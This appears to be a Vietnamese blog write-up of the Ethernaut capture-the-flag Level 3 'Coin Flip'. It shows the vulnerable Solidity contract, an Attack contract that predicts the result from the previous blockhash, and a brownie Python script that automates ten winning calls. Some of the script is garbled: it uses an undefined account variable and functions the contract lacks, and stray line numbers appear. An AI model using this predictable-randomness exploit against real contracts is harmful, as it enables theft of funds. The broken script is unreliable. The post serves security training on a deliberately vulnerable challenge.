Post

[Ethernaut CTF] Level 3: Coin Flip

Level 3: Coin Flip

★★☆☆☆

Given contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

Phân tích

  • Việc để đoán đúng 10 lần flip liên tiếp gần như là bất khả thi, ta sẽ tìm 1 cách khác.
  • Trong contract ta để ý biến side được tính toán và sau đó so sánh đối số _guess : ``` lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false;

    if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
- Điều chúng ta cần làm là tách function ra 1 cái riêng để tính toán là xong.

## Solution
**Target**: 10 lần consecutive win liên tiếp.  

- Compile và deploy contract này trên remix, sau đó gọi hàm ``flip()`` 10 lần:  

```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.6 <0.9.0;
contract Attack {
    CoinFlip private immutable target;
    uint256 private constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = CoinFlip(_target);
    }

    function flip() external {
        bool guess = _guess();
        require(target.flip(guess), "guess failed");
    }

    function _guess() private view returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 coinFlip = blockValue / FACTOR;
        return coinFlip == 1 ? true : false;
    }
}
  • Một script bằng python để automate quá trình này cho nhanh:
    ```python from brownie import accounts, config, interface, web3, CoinFlip, CoinFlipAttack

def attack(target, account): deploy_attack = CoinFlipAttack.deploy(target, {“from”: hacker}) coinflip = CoinFlip.at(target) print(f’Address originating the attack: {deploy_attack.address}’) for i in range (0, 10): deploy_attack.attack({‘from’: account, ‘gas_limit’:250000, ‘allow_revert’: True}) print(f’Number: {coinflip.consecutiveWins()}’) deploy_attack.destroy({‘from’: account})

def main(target): account = accounts.add(config[‘wallets’][‘from_key’]) attack(target, account)

1
2
3
4
5
> Note: Thư viện ``brownie`` cung cấp cho ta các phương thức để communicate với ethereum network tương tự như ví metamask.
- Check lại số lần win:
```javascript
await contract.consecutiveWins
10

Submit -> Done

Reference

This post is licensed under CC BY 4.0 by the author.